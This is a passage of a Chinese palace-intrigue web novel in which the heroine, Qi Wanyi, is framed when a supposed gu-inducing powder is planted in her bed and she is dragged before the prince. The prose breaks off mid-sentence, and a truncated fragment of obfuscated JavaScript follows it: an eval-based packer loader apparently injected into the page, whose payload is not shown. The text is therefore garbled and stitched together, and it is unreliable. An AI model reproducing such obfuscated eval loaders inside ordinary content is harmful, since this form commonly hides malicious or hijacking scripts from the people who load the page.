果然,翻了不到一盏茶的工夫,一个婆子惊呼:“二小姐!您看!”
从戚晚意床铺的木板缝里,掏出一个油纸包。打开,里面是一把碾碎的黑色粉末,气味辛辣刺鼻。
老道士凑上去闻了闻,面色一沉:“这是引蛊散。”
好一招栽赃嫁祸。
戚悦玲的脸变了,变得恰到好处的震惊和寒心:“姐姐……这、这是什么东西?你为什么要害王爷?”
“我何时害他了?”
“引蛊散能催动蛊虫发作,大师说了,王爷近日频繁犯病,就是因为附近有人在使这个!”老道士声如洪钟,中气十足,一张老脸板得义正言辞。
戚晚意看着那包粉末。
她的异能告诉她——那确实是某种草药研磨的粉末,成分复杂,但绝不是什么“引蛊散”。它就是一堆普通的中药渣子掺了点硫磺。
但她没有办法证明。
因为她“不会医术”。或者说,她的能力不在辨药理上,而在看身体上。她看得出人体哪里坏了,却无法当场验证一包粉末的成分。
这一点,对方拿捏得死准。
“带她去正堂。王爷要亲自审。”戚悦玲收起笑脸,声音冷了下来,“谋害王爷,可是死罪。”
两个婆子左右架住戚晚意的胳膊。春雀扑上来,被另一个婆子一巴掌扇翻在地。
“小姐!”
戚晚意挣了一下,没挣动——这两个婆子力气不小,手上有老茧,练过的。
“春雀。”她回头看了一眼,声音平静,“别动。”
春雀趴在地上,嘴角渗血,眼泪啪嗒啪嗒掉。
戚晚意被押到正堂的时候,萧瑾已经坐在上首
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.